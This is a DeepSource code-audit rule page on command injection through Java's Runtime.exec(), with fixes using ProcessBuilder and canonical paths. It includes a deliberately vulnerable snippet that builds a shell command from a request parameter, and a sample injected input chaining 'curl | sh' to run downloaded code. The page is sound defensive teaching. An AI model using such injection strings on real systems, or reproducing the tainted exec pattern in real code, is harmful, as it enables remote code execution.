By DeepSource

Audit: Runtime.exec() call may be susceptible to injection attacks JAVA-A1057

Security a03 cwe-20 cwe-78 cwe-77 sans top 25

Avoid calling any of Runtime.exec()'s overloads using data from an external source without first performing some kind of sanitization.

This issue will be reported if the Java analyzer sees use of Runtime.exec() with external input such as from a request or from a socket.

Bad Practice

String imagesPath=String.format("/home/%s/images",request.getParameter("userId")); // Tainted!

String imageListCmd=String.format("ls -lah %s",imagesPath);

Runtime.getRuntime().exec(imageListCmd); // Vulnerable!

It may be possible to use a malicious input such as the one below, to change the content of the command.

"someUser/images && curl | sh #"

The input above would execute whatever gets downloaded from the domain, and the result could result in a virus or ransomware installing itself into your machine!


Use Java's ProcessBuilder API instead. It provides a clean, builder based API whose behavior is easier to customise and control.

Additionally, all arguments passed via ProcessBuilder will be properly escaped, so that it is impossible to change the functionality of the command.

ProcessBuilder pb = new ProcessBuilder("myCommand","myArg1","myArg2");

One other precaution to take is to check paths after normalising them, instead of directly concatenating strings to form paths. This will prevent relative path traversal attacks from occurring.

String imagesPathStr = String.format("/home/%s/images",request.getParameter("userId"));

// This path no longer contains surprise components such as `..` or `.`
String normalizedPath = new File(imagesPathStr).getCanonicalPath();

You could also use the Path API to do the same thing (beware of any exceptions this may throw):

String normalizedPath = Path.of(imagesPathStr).toAbsolutePath().toString();


  • OWASP Top Ten (2021) - Category A03 - Injection
  • CWE-20 - Improper Input Validation
  • CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
  • CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')